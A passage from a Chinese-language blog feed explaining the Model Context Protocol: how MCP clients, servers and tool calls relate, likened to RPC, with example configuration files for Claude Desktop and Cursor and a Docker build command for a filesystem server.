&#x5BA2;&#x6237;&#x7AEF;&#x4E0D;&#x9700;&#x8981;&#x5173;&#x5FC3;&#x5E95;&#x5C42;&#x7684;&#x7F51;&#x7EDC;&#x901A;&#x4FE1;&#x7EC6;&#x8282;&#xFF0C;&#x8FD9;&#x4E9B;&#x90FD;&#x7531;&#x4E2D;&#x95F4;&#x5C42; (MCP Client/Server &#x6846;&#x67B6;) &#x5904;&#x7406;&#x3002;</p><p>&#x2022; &#x8C03;&#x7528;&#x7ED3;&#x679C;&#x4F1A;&#x8FD4;&#x56DE;&#x7ED9;&#x5BA2;&#x6237;&#x7AEF;&#x3002;</p><p>&#x56E0;&#x6B64;&#xFF0C;&#x5C06; MCP &#x4E2D; LLM &#x8C03;&#x7528; Tool &#x7684;&#x673A;&#x5236;&#x7406;&#x89E3;&#x4E3A;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#x7684; RPC &#x662F;&#x975E;&#x5E38;&#x6070;&#x5F53;&#x7684;&#x3002;</p><p>MCP &#x672C;&#x8D28;&#x4E0A;&#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x5957;&#x6807;&#x51C6;&#x7684;&#x63A5;&#x53E3;&#x548C;&#x534F;&#x8BAE;&#xFF0C;&#x4F7F;&#x5F97; LLM &#x8FD9;&#x6837;&#x7684;&quot;&#x5BA2;&#x6237;&#x7AEF;&quot;&#x80FD;&#x591F;&#x4EE5;&#x7ED3;&#x6784;&#x5316;&#x7684;&#x65B9;&#x5F0F;&#x8BF7;&#x6C42;&#x548C;&#x4F7F;&#x7528;&#x8FDC;&#x7A0B;&quot;&#x670D;&#x52A1;&quot;&#xFF08;&#x5373; MCP Server &#x63D0;&#x4F9B;&#x7684; Tools &#x548C; Resources&#xFF09;&#x3002;&#x867D;&#x7136; MCP &#x5F15;&#x5165;&#x4E86;&#x66F4;&#x591A;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x4F8B;&#x5982; Resources &#x548C; Prompts&#xFF0C;&#x5E76;&#x4E14;&#x5176;&#x901A;&#x4FE1;&#x534F;&#x8BAE;&#x53EF;&#x80FD;&#x4E0E;&#x4F20;&#x7EDF;&#x7684; RPC &#x534F;&#x8BAE;&#x6709;&#x6240;&#x4E0D;&#x540C;&#xFF0C;&#x4F46; Tool &#x7684;&#x8C03;&#x7528;&#x673A;&#x5236;&#x5728;&#x6982;&#x5FF5;&#x4E0A;&#x4E0E; RPC &#x975E;&#x5E38;&#x76F8;&#x4F3C;&#xFF0C;&#x90FD;&#x662F;&#x4E3A;&#x4E86;&#x5B9E;&#x73B0;&#x8DE8;&#x8FDB;&#x7A0B;&#x6216;&#x8DE8;&#x673A;&#x5668;&#x7684;&#x529F;&#x80FD;&#x8C03;&#x7528;&#x3002;</p><hr><p>&#x7136;&#x540E;&#x6211;&#x4EEC;&#x7684;&#x5BF9;&#x8BDD;&#x5185;&#x5BB9;&#x751F;&#x6210;&#x4E86;&#x4E00;&#x4E2A;&#x97F3;&#x9891;&#x64AD;&#x5BA2;&#xFF1A;</p><iframe src="https://1drv.ms/u/c/135ad64b53d3f2d3/IQQWPBmKTa5OT7iED-jIWX7zAdUyhoIlpIi1aB2nUSg6aXE" width="450" height="100" frameborder="0" scrolling="no"></iframe><p>&#x559C;&#x6B22;&#x8FD9;&#x91CC;&#x9762;&#x7684;&#x6700;&#x540E;&#x4E00;&#x53E5;&#xFF1A;<em>&quot;never stop asking questions</em>&quot;</p><hr><p>&#x6700;&#x540E;&#xFF0C;&#x4E3A;&#x4E86;&#x66F4;&#x597D;&#x7684;&#x7406;&#x89E3; MCP server&#xFF0C;&#x6211;&#x5199;&#x4E86;&#x4E00;&#x4E2A;&#x5C0F;&#x5DE5;&#x5177;&#x3002;</p><p>&#x76EE;&#x524D;&#x529F;&#x80FD;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x5C31;&#x662F;&#x5728; agent &#x5B8C;&#x6210;&#x4EFB;&#x52A1;&#x2705;&#x4E4B;&#x540E;&#x53D1;&#x9001;&#x901A;&#x77E5;&#x5E76;&#x4E14;&#x6709;&#x58F0;&#x97F3;&#x63D0;&#x9192;&#x3002;</p><p>&#x56E0;&#x4E3A;&#x6211;&#x5728;&#x7528; Cursor &#x7684; Agent &#x6A21;&#x5F0F;&#x5199;&#x4EE3;&#x7801;&#x65F6;&#xFF0C;Cursor &#x5168;&#x7A0B;&#x542D;&#x54E7;&#x542D;&#x54E7;&#x5199; bug &#x1F41B; &#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E00;&#x76F4;&#x76EF;&#x7740;&#x5B83;&#x4E5F;&#x633A;&#x8D39;&#x65F6;&#x95F4;&#x7684;&#xFF0C;&#x8FD9;&#x672C;&#x6765;&#x5C31;&#x662F;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#xFF0C;&#x5728; cursor &#x5904;&#x7406;&#x4EA4;&#x7ED9;&#x5B83;&#x7684;&#x4EFB;&#x52A1;&#x540E;&#xFF0C;&#x6211;&#x5E94;&#x8BE5;&#x53BB;&#x505A;&#x5176;&#x5B83;&#x4E8B;&#x60C5;&#xFF0C;&#x8FD9;&#x624D;&#x662F;&#x63D0;&#x9AD8;&#x6548;&#x7387;&#x7684;&#x505A;&#x6CD5;&#x3002;&#x4F46;&#x662F;&#x6211;&#x53BB;&#x505A;&#x5176;&#x4ED6;&#x4E8B;&#x60C5;&#x4E4B;&#x540E;&#xFF0C;&#x5374;&#x4E0D;&#x77E5;&#x9053; cursor &#x7684;&#x4EFB;&#x52A1;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x4F1A;&#x505A;&#x5B8C;&#x3002;&#x4E8E;&#x662F;&#x6211;&#x5C31;&#x60F3;&#x8BA9;&#x5B83;&#x5E72;&#x5B8C;&#x6D3B;&#x4E4B;&#x540E;&#x901A;&#x77E5;&#x6211;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x8FD9;&#x4E2A;&#x5DE5;&#x5177;&#x4EA7;&#x751F;&#x7684;&#x5B9E;&#x9645;&#x80CC;&#x666F;&#x3002;</p><p>&#x76EE;&#x524D;&#x53EA;&#x80FD;&#x901A;&#x77E5;&#x7535;&#x8111;&#xFF0C;&#x5E76;&#x4E14;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x4E2D;&#xFF0C;&#x7406;&#x8BBA;&#x4E0A;&#x90FD;&#x662F;&#x53EF;&#x4EE5;&#x8FD0;&#x884C;&#x7684;&#xFF0C;&#x540E;&#x9762;&#x53EF;&#x80FD;&#x4F1A;&#x518D;&#x52A0;&#x4E0A;&#x901A;&#x8FC7;&#x901A;&#x8BAF;&#x8F6F;&#x4EF6;&#x901A;&#x77E5;&#x7684;&#x529F;&#x80FD;</p><p>&#x4EB2;&#x6D4B;&#x5728; Claude &#x4E0A;&#x3001;Cursor &#x4E0A;&#x90FD;&#x53EF;&#x7528;&#x3002;</p><div class="tag-plugin ghcard"><a class="ghcard" rel="external nofollow noopener noreferrer" href="https://github.com/cactusinhand/mcp_server_notify"><img src="https://github-readme-stats.xaoxuu.com/api/pin/?username=cactusinhand&amp;repo=mcp_server_notify&amp;&amp;show_owner=true"></a></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x6DF1;&amp;#x5165;&amp;#x63A2;&amp;#x7A76;MCP&amp;#x534F;&amp;#x8BAE;&amp;#x7684;&amp;#x5DE5;&amp;#x4F5C;&amp;#x539F;&amp;#x7406;&amp;#xFF0C;&amp;#x901A;&amp;#x8FC7;&amp;#x4E0E;Google NotebookLM&amp;#x7684;&amp;#x5BF9;&amp;#x8BDD;&amp;#x5398;&amp;#x6E05;MCP Host&amp;#x3001;Client&amp;#x548C;Server&amp;#x7684;&amp;#x5173;&amp;#x7CFB;&amp;#x3002;&amp;#x4F5C;&amp;#x8005;&amp;#x5C06;MCP Client&amp;#x6BD4;&amp;#x4F5C;&amp;#x7F51;&amp;#x5361;&amp;#xFF0C;&amp;#x63ED;&amp;#x793A;&amp;#x5176;&amp;#x4F5C;&amp;#x4E3A;&amp;#x901A;&amp;#x4FE1;&amp;#x5A92;&amp;#x4ECB;&amp;#x7684;&amp;#x5173;&amp;#x952E;&amp;#x4F5C;&amp;#x7528;&amp;#xFF0C;&amp;#x540C;&amp;#x65F6;&amp;#x5206;&amp;#x6790;&amp;#x4E86;MCP&amp;#x5DE5;&amp;#x5177;&amp;#x8C03;&amp;#x7528;&amp;#x4E0E;RPC&amp;#x8FC7;&amp;#x7A0B;&amp;#x7684;&amp;#x76F8;&amp;#x4F3C;&amp;#x6027;&amp;#x3002;&amp;#x6700;&amp;#x540E;&amp;#x57FA;&amp;#x4E8E;&amp;#x5B9E;&amp;#x9645;&amp;#x9700;&amp;#x6C42;&amp;#xFF0C;&amp;#x5F00;&amp;#x53D1;&amp;#x4E86;&amp;#x4E00;&amp;#x4E2A;&amp;#x7B80;&amp;#x5355;&amp;#x7684;MCP&amp;#x670D;&amp;#x52A1;&amp;#x5668;&amp;#x5DE5;&amp;#x5177;&amp;#xFF0C;&amp;#x5B9E;&amp;#x73B0;AI&amp;#x4EFB;&amp;#x52A1;&amp;#x5B8C;&amp;#x6210;&amp;#x540E;&amp;#x7684;&amp;#x901A;&amp;#x77E5;&amp;#x529F;&amp;#x80FD;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="AI" scheme="https://oschina.win/categories/AI/"/>
    
    
    <category term="AI" scheme="https://oschina.win/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>MCP introduce</title>
    <link href="https://oschina.win/posts/60b356e7.html"/>
    <id>https://oschina.win/posts/60b356e7.html</id>
    <published>2025-03-11T04:03:33.000Z</published>
    <updated>2025-03-11T04:03:33.000Z</updated>
    
    <content type="html"><![CDATA[<p>MCP(Model Context Protocol) &#x521D;&#x63A2;</p><p>&#x672C;&#x6587;&#x4ECB;&#x7ECD;&#x4E86;MCP&#xFF08;&#x6A21;&#x578B;&#x4E0A;&#x4E0B;&#x6587;&#x534F;&#x8BAE;&#xFF09;&#x7684;&#x57FA;&#x672C;&#x6982;&#x5FF5;&#x53CA;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#xFF0C;&#x5C55;&#x793A;&#x4E86;&#x5982;&#x4F55;&#x901A;&#x8FC7;&#x8BE5;&#x534F;&#x8BAE;&#x6269;&#x5C55;LLM&#x80FD;&#x529B;&#x3002;&#x6587;&#x7AE0;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x4E86;MCP&#x7684;&#x4EA4;&#x4E92;&#x6D41;&#x7A0B;&#x3001;&#x670D;&#x52A1;&#x5668;&#x914D;&#x7F6E;&#x65B9;&#x6CD5;&#xFF0C;&#x5E76;&#x63D0;&#x4F9B;&#x4E86;&#x5B9E;&#x7528;&#x7684;Docker&#x90E8;&#x7F72;&#x793A;&#x4F8B;&#xFF0C;&#x5E2E;&#x52A9;&#x8BFB;&#x8005;&#x7406;&#x89E3;&#x5982;&#x4F55;&#x8BA9;AI&#x6A21;&#x578B;&#x8BBF;&#x95EE;&#x672C;&#x5730;&#x6587;&#x4EF6;&#x7CFB;&#x7EDF;&#x7B49;&#x5916;&#x90E8;&#x8D44;&#x6E90;&#xFF0C;&#x5B9E;&#x73B0;&#x66F4;&#x5F3A;&#x5927;&#x7684;&#x529F;&#x80FD;&#x6269;&#x5C55;&#x3002;</p><span id="more"></span><h2 id="1-&#x4EC0;&#x4E48;&#x662F;-MCP&#xFF1F;">1. &#x4EC0;&#x4E48;&#x662F; MCP&#xFF1F;</h2><p>MCP &#x5C31;&#x662F;&#x4E00;&#x79CD; LLM &#x80FD;&#x591F;&#x8BC6;&#x522B;&#x7684;&#x534F;&#x8BAE;&#x3002;&#x4E3A;&#x4E86;&#x589E;&#x5F3A; LLM &#x7684;&#x80FD;&#x529B;&#x800C;&#x751F;&#x3002;&#x5982;&#x4F55;&#x589E;&#x5F3A;&#x5B83;&#x7684;&#x80FD;&#x529B;&#xFF1F;&#x672C;&#x8D28;&#x5C31;&#x662F;&#x8BA9;&#x5176;&#x4ED6;&#x670D;&#x52A1;&#x3001;&#x5DE5;&#x5177;&#x6309;&#x7167;&#x8FD9;&#x4E2A;&#x901A;&#x7528;&#x534F;&#x8BAE;&#x5B9E;&#x73B0;&#x4E00;&#x4E9B;&#x529F;&#x80FD;&#xFF0C;&#x7136;&#x540E;&#x8BA9; LLM &#x8C03;&#x7528;&#x3002;&#x53EA;&#x8981;&#x670D;&#x52A1;&#x63D0;&#x4F9B;&#x63A5;&#x53E3;&#x5C31;&#x884C;&#x3002;</p><p>&#x56E0;&#x4E3A;&#x5728;&#x6709; MCP &#x4E4B;&#x524D;&#xFF0C;LLM &#x53EA;&#x80FD;&#x505A;&#x4E00;&#x4E9B;&#x5728;&#x5B83;&#x7684;&#x8BAD;&#x7EC3;&#x6570;&#x636E;&#x96C6;&#x8303;&#x56F4;&#x4E4B;&#x5185;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x540E;&#x9762;&#x5373;&#x4F7F;&#x6709;&#x4E86;&#x8054;&#x7F51;&#x641C;&#x7D22;&#x80FD;&#x529B;&#xFF0C;&#x4F46;&#x5B83;&#x80FD;&#x505A;&#x7684;&#x4E8B;&#x60C5;&#x8FD8;&#x662F;&#x6709;&#x9650;&#x3002;&#x6BD4;&#x5982;&#x6211;&#x60F3;&#x8BA9;&#x4ED6;&#x5E2E;&#x6211;&#x6253;&#x5F00;&#x90AE;&#x7BB1;&#x670D;&#x52A1;&#xFF0C;&#x53D1;&#x9001;&#x90AE;&#x4EF6;&#xFF0C;&#x5B83;&#x80AF;&#x5B9A;&#x505A;&#x4E0D;&#x5230;&#xFF0C;&#x6700;&#x8D77;&#x7801;&#x4E00;&#x70B9;&#x5B83;&#x65E0;&#x6CD5;&#x4E0E;&#x90AE;&#x7BB1;&#x5BA2;&#x6237;&#x7AEF;&#x8FDB;&#x884C;&#x4EA4;&#x6D41;&#x3002;&#x5F53;&#x6709;&#x4E86; MCP &#x534F;&#x8BAE;&#xFF0C;&#x6839;&#x636E;&#x8FD9;&#x4E2A;&#x534F;&#x8BAE;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;&#x670D;&#x52A1;&#xFF0C;&#x5176;&#x5185;&#x90E8;&#x53EF;&#x4EE5;&#x8C03;&#x7528;&#x90AE;&#x7BB1;&#x670D;&#x52A1;&#x7684;&#x63A5;&#x53E3;&#x8FDB;&#x884C;&#x53D1;&#x9001;&#x3001;&#x63A5;&#x6536;&#x90AE;&#x4EF6;&#x3002;&#x7136;&#x540E;&#x628A;&#x8FD9;&#x4E2A;&#x670D;&#x52A1;&#x66B4;&#x9732;&#x7ED9; LLM, &#x4E4B;&#x540E;&#x518D;&#x8DDF;&#x5B83;&#x8FDB;&#x884C;&#x804A;&#x5929;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x89E6;&#x53D1;&#x53D1;&#x9001;&#x90AE;&#x4EF6;&#x670D;&#x52A1;&#x3002;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/202503111157359.png" alt="image.png"></p><p>&#x4EE5; Claude desktop &#x4E3A;&#x4F8B;&#xFF1A;</p><pre class="mermaid">sequenceDiagram    actor User as &#x7528;&#x6237;    participant Client as &#x5BA2;&#x6237;&#x7AEF;    participant Claude as Claude    participant MCP as MCP&#x670D;&#x52A1;&#x5668;    participant Tool as &#x5DE5;&#x5177;&#x6267;&#x884C;        User -&gt;&gt; Client: &#x63D0;&#x51FA;&#x95EE;&#x9898;    Client -&gt;&gt; Claude: 1. &#x53D1;&#x9001;&#x95EE;&#x9898;        Note over Claude: 2. &#x5206;&#x6790;&#x53EF;&#x7528;&#x5DE5;&#x5177;<br>&#x51B3;&#x5B9A;&#x4F7F;&#x7528;&#x54EA;&#x4E9B;&#x5DE5;&#x5177;        Claude -&gt;&gt; Client: 3. &#x8BF7;&#x6C42;&#x6267;&#x884C;&#x5DE5;&#x5177;    Client -&gt;&gt; MCP: &#x8C03;&#x7528;&#x9009;&#x5B9A;&#x7684;&#x5DE5;&#x5177;    MCP -&gt;&gt; Tool: &#x6267;&#x884C;&#x5DE5;&#x5177;&#x64CD;&#x4F5C;    Tool --&gt;&gt; MCP: &#x8FD4;&#x56DE;&#x5DE5;&#x5177;&#x6267;&#x884C;&#x7ED3;&#x679C;    MCP --&gt;&gt; Client: &#x8FD4;&#x56DE;&#x5DE5;&#x5177;&#x7ED3;&#x679C;    Client --&gt;&gt; Claude: 4. &#x53D1;&#x9001;&#x5DE5;&#x5177;&#x7ED3;&#x679C;        Note over Claude: 5. &#x6839;&#x636E;&#x5DE5;&#x5177;&#x7ED3;&#x679C;<br>&#x751F;&#x6210;&#x81EA;&#x7136;&#x8BED;&#x8A00;&#x56DE;&#x7B54;        Claude --&gt;&gt; Client: &#x8FD4;&#x56DE;&#x751F;&#x6210;&#x7684;&#x54CD;&#x5E94;    Client --&gt;&gt; User: 6. &#x663E;&#x793A;&#x56DE;&#x7B54;</pre><p>&#x4E0A;&#x8FF0;&#x7684;&#x5BA2;&#x6237;&#x7AEF;&#x5373;&#x4E3A; Claude Desktop, &#x4E5F;&#x53EF;&#x4EE5;&#x662F; Cursor&#x3002;&#x5B83;&#x4EEC;&#x7684;&#x540E;&#x7AEF;&#x5BF9;&#x5E94;&#x7740; LLM&#x3002;&#x8FD9;&#x91CC;&#x5BB9;&#x6613;&#x6DF7;&#x6DC6;&#x3002;&#x6BD4;&#x5982;&#x7528;&#x6237;&#x4F7F;&#x7528; cursor &#xFF0C;&#x8F93;&#x5165;&#x95EE;&#x9898;&#xFF0C;cursor &#x5BA2;&#x6237;&#x7AEF;&#x8C03;&#x7528;&#x8FDC;&#x7A0B;&#x7684; LLM &#x670D;&#x52A1;&#x3002;&#x7136;&#x540E;&#x5B83;&#x53D1;&#x73B0;&#x6709;&#x53EF;&#x7528;&#x7684;&#x5DE5;&#x5177;&#xFF0C;&#x5E76;&#x4E14;&#x4E0E;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x9700;&#x6C42;&#x5339;&#x914D;&#xFF0C;&#x90A3;&#x4E48;&#x5B83;&#x5C31;&#x4F1A;&#x8FD4;&#x56DE;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x6B64;&#x65F6;&#x5C31;&#x80FD;&#x51B3;&#x5B9A;&#x4F7F;&#x7528;&#x54EA;&#x4E2A;&#x5DE5;&#x5177;&#x3002;&#x4E8E;&#x662F;&#x5411; MCP &#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#x3002;&#x670D;&#x52A1;&#x5668;&#x91CC;&#x9762;&#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x5DE5;&#x5177;&#xFF0C;&#x6B64;&#x65F6;&#x4F1A;&#x9009;&#x5B9A;&#x67D0;&#x4E2A;&#x5DE5;&#x5177;&#xFF0C;&#x5E76;&#x6267;&#x884C;&#x3002;&#x4E4B;&#x540E;&#x5C06;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x8FD4;&#x56DE;&#xFF0C;&#x4E00;&#x76F4;&#x8FD4;&#x56DE;&#x5230;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x8BA9;LLM &#x628A;&#x7ED3;&#x679C;&#x8FDB;&#x884C;&#x4E00;&#x5B9A;&#x7684;&#x8BED;&#x8A00;&#x91CD;&#x65B0;&#x7EC4;&#x7EC7;&#xFF0C;&#x7136;&#x540E;&#x8F93;&#x51FA;&#x7ED9;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x6B64;&#x65F6;&#x5C31;&#x662F;&#x7528;&#x6237;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#xFF08;Claude Desktop&#xFF09;&#x4E0A;&#x770B;&#x5230;&#x7684;&#x4FE1;&#x606F;&#x3002;</p><p>&#x5BA2;&#x6237;&#x7AEF;&#x9700;&#x8981;&#x77E5;&#x9053; mcp &#x670D;&#x52A1;&#x5668;&#x5B9A;&#x4E49;&#x5728;&#x54EA;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x8C03;&#x7528;&#x5E76;&#x8FD0;&#x884C;&#x3002;&#x5E38;&#x89C1;&#x7684;&#x662F;&#x4F7F;&#x7528; command &#x8FDB;&#x884C;&#x8C03;&#x7528;&#x3002;&#x8FD9;&#x6837;&#x6709;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#xFF1A;</p><ol><li class="lvl-3"><p>json &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF1A;</p></li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line">    <span class="attr">&quot;mcpServers&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">        <span class="attr">&quot;weather&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">            <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;uv&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;--directory&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;D:\\WORK\\AI_workstation\\weather&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;run&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;weather.py&quot;</span></span><br><span class="line">            <span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">}</span></span><br><span class="line">        <span class="attr">&quot;other server&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">            <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;uv&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;--directory&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;path to the server file dir&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;run&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;server script&quot;</span></span><br><span class="line">            <span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">}</span></span><br><span class="line">    <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><blockquote><p>Claude Desktop &#x7684;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x662F; <code>claude_desktop_config.json</code></p></blockquote><p>&#x8BE5;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x5C31;&#x662F;&#x4E00;&#x4E2A; json &#x5BF9;&#x8C61;&#xFF0C;key &#x5C31;&#x662F; &#x201C;mcpServers&#x201D;,  &#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5C31;&#x662F;&#x5728;&#x544A;&#x8BC9;&#x5916;&#x754C;&#xFF0C;&#x5728;&#x54EA;&#x91CC;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x8FD0;&#x884C; <a href="http://weather.py">weather.py</a> &#x8FD9;&#x4E2A; mcp &#x670D;&#x52A1;&#x3002;</p><ol start="2"><li class="lvl-3"><p>&#x53E6;&#x5916;&#x4E00;&#x79CD;&#x65B9;&#x5F0F;&#x5C31;&#x662F;&#x76F4;&#x63A5;&#x5199;&#x51FA;&#x547D;&#x4EE4;&#x884C;&#xFF0C;&#x6BD4;&#x5982;&#x5728; cursor &#x4E2D; MCP Servers &#x7684;&#x914D;&#x7F6E;&#x53EF;&#x4EE5;&#x662F;&#x8FD9;&#x6837;&#xFF1A;<code>cmd /k npx -y @smithery/cli@latest run @wopal/mcp-server-hotnews --config {1,2,3}</code>&#x5B83;&#x7B49;&#x6548;&#x4E8E;&#x5728;&#x914D;&#x7F6E;&#x6587;&#x4EF6; <code>.cursor/mcp.json</code> &#x8FD9;&#x6837;&#x5199;&#xFF1A;</p></li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line">    <span class="attr">&quot;mcpServers&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">      <span class="attr">&quot;@wopal-mcp-server-hotnews&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cmd /k npx&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">          <span class="string">&quot;-y&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="string">&quot;@smithery/cli@latest&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="string">&quot;run&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="string">&quot;@wopal/mcp-server-hotnews&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="string">&quot;--config&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="string">&quot;{1,2,3}&quot;</span></span><br><span class="line">        <span class="punctuation">]</span></span><br><span class="line">      <span class="punctuation">}</span></span><br><span class="line">    <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>&#x914D;&#x7F6E;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6709;&#x53EF;&#x7528;&#x7684; MCP &#x5DE5;&#x5177;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/202503110040791.png" alt="image.png"></p><h2 id="2-&#x5982;&#x4F55;&#x642D;&#x5EFA;-mcp-server">2. &#x5982;&#x4F55;&#x642D;&#x5EFA; mcp server</h2><p>&#x53EF;&#x4EE5;&#x5728;&#x8FD9;&#x91CC;&#x627E;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p><a href="https://smithery.ai/">https://smithery.ai/</a></p></li><li class="lvl-2"><p><a href="https://github.com/punkpeye/awesome-mcp-servers">https://github.com/punkpeye/awesome-mcp-servers</a></p></li><li class="lvl-2"><p><a href="https://github.com/modelcontextprotocol/servers">https://github.com/modelcontextprotocol/servers</a> (&#x5B98;&#x65B9;)</p></li></ul><p>&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x914D;&#x7F6E;&#x4F7F;&#x7528;&#x3002;</p><p>&#x5728;&#x5B98;&#x65B9;&#x7ED9;&#x51FA;&#x7684;&#x5B9E;&#x73B0;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x5927;&#x90E8;&#x5206;&#x90FD;&#x63D0;&#x4F9B;&#x4E86;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#x8FD0;&#x884C;&#x547D;&#x4EE4;&#xFF1A;&#x4E00;&#x79CD;&#x662F;&#x901A;&#x8FC7;<code>npx</code> &#x547D;&#x4EE4;&#x8C03;&#x7528;&#xFF0C;&#x53E6;&#x4E00;&#x79CD;&#x662F;&#x901A;&#x8FC7;<code>docker</code> &#x5BB9;&#x5668;&#x8C03;&#x7528;&#xFF0C;&#x5728;&#x6211;&#x7684;&#x73AF;&#x5883;&#x4E2D;&#x6211;&#x4E2A;&#x4EBA;&#x504F;&#x5411;&#x8FD9;&#x79CD;&#x3002;</p><p>&#x4F7F;&#x7528; <code>docker</code> &#x65F6;&#xFF0C;&#x5148;&#x62C9;&#x53D6;&#x955C;&#x50CF;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x6BD4;&#x5982;&#x6211;&#x60F3;&#x8981;&#x90E8;&#x7F72;&#x6587;&#x4EF6;&#x64CD;&#x4F5C;&#x76F8;&#x5173;&#x7684; MCP server, &#x5148;&#x62C9;&#x53D6;&#x955C;&#x50CF;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build -t mcp/filesystem -f src/filesystem/Dockerfile .</span><br></pre></td></tr></table></figure><blockquote><p>&#x524D;&#x63D0;&#x662F;&#x5148; clone &#x4E86;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#xFF1A; <a href="https://github.com/modelcontextprotocol/servers%EF%BC%8C">https://github.com/modelcontextprotocol/servers&#xFF0C;</a> &#x5E76;&#x8FDB;&#x5165;&#x4ED3;&#x5E93;&#x6839;&#x76EE;&#x5F55;</p></blockquote><p>&#x7136;&#x540E;&#x5728; 